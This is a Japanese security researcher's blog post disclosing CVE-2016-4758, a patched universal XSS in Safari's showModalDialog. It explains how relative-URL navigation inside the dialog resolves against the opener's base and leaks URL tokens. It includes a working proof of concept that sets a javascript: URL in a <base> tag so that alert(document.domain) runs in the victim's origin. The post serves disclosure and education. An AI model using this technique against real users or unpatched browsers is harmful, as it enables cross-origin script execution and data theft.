2016/09/25

CVE-2016-4758: SafariのshowModalDialogに存在したUXSS

English version is here: http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html


Safari 10で修正された、showModalDialog() に存在したUXSSバグについて書きます。

https://support.apple.com/en-us/HT207157
WebKit
Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12
Impact: Visiting a maliciously crafted website may leak sensitive data
Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks.
CVE-2016-4758: Masato Kinugawa of Cure53
UXSS(Universal XSS)は、ブラウザやプラグインなどのバグによって、Same Origin Policyの制限を超えてXSSできるようなバグのことを言います。はっきりした定義はないと思いますが、一言で普通のXSSと区別するのに便利なので、Webセキュリティ関係の人の間でそこそこ使われている言葉です。

このバグは2015年6月頃に発見しました。ちょうど、IEのshowModalDialogを使ったXSSフィルターのバイパスの可能性に気付き、記事にしていた頃です。その記事の中で、最後に以下のように書いていたことを覚えている方もいるかもしれません。

http://masatokinugawa.l0.cm/2015/06/xss6.html
余談ですが、ブログにまとめるために周辺の挙動を改めてみていたら、もっと重大な問題に気がつきました。こっちは修正されたときに改めて書きます。
今から書くことがこの「重大な問題」です。

なお、iOS版のSafariはshowModalDialog関数が存在しないため影響を受けません。

前提条件


ターゲットのページに次のような条件が整うと、そのオリジンでXSSを実行できます。
  1. JavaScriptによるページ遷移を相対URLで行っている。
  2. その遷移操作がページの完全なロード後に行われている。

「JavaScriptによるページ遷移を相対URLで行」うとは、location="/"とか、window.open("/","_blank")などの操作のことです。

この条件を満たすページを以下に用意しました。

<script>
function go_top(){
location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>
「Top Page」ボタンをクリックしたときに、https://vulnerabledoma.in/index.html へ移動するだけのページです。
どこにでもありそうな条件ですが、これだけでXSSを実行できます。

showModalDialogの利用


ここで、古き良きshowModalDialog関数を使います。
先ほどのページをshowModalDialogのダイアログ中に開く、以下のような別オリジンのページを用意します。

https://l0.cm/safari_uxss_showModalDialog/example.html
<script>
function go(){
showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
このページから開いたshowModalDialog内の「Top Page」ボタンをクリックするとどうなるでしょうか?
普通ならそんなことは聞くまでもなく、showModalDialogを経由せずに閲覧した時と同じように、 https://vulnerabledoma.in/index.html へ移動するはずです。

しかし、Safariではそうはなりませんでした。http://l0.cm/index.html へ遷移したのです。 https://l0.cm/はshowModalDialog()を実行したオリジンであり、明らかに相対URLの基準になるURLをshowModalDialog()を実行したページと取り違えています。

この時点で、遷移する相対URLに秘密情報が含まれている場合に、無関係のページから取得できることになります。
<script>
function navigation(){
location="/test?token=abb29ad9adda09";//取得できてしまう
}
</script>
<button onclick=navigation()>Click</button>
これだけでも十分脆弱性と言えるまずい動作ですが、さらにXSSへ発展させることはできないか考えてみました。

(なお、基準のURLを間違うのはJavaScriptによる遷移操作のみで、<a>タグによるリンクや、XMLHttpRequestに使うURLなどの遷移操作以外のAPIでは、正しい基準のURLが使われていました。)

XSSへの発展


もし、showModalDialogを実行するページの基準のURLをjavascript:のURLに変更できるなら、XSSが可能かもしれないと思いました。
html5sec.org によると、Safariは<base>タグにjavascript:のURLを指定できるようです。
このトリックを使って、showModalDialogを実行するページで、次のように、<base>タグを細工してダイアログを開いてみました。

https://l0.cm/safari_uxss_showModalDialog/
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>
モーダルダイアログ内の「Top Page」ボタンをクリックすると…目論見通り、alert(document.domain)が実行されました!うまくいけば、次の画像のようになります。



このようにして、基準となるURLを取り違えるバグを使って、ターゲットのページに相対URLへの遷移が記述された部分があるだけで、XSSを実行できていました。

さいごに

報告したのが2015年6月なので、修正までに1年以上かかったことになります。結構致命的な問題だと思うので、もうちょっと早く直してほしいところです。
showModalDialogは、その他のブラウザでは廃止されてきており、これを機にサポートをやめると予想していたんですが、Safari 10でもまだ使えるようですね。いつまでサポートするんでしょうか?

ともかく、まだアップデートしていない方はしましょう!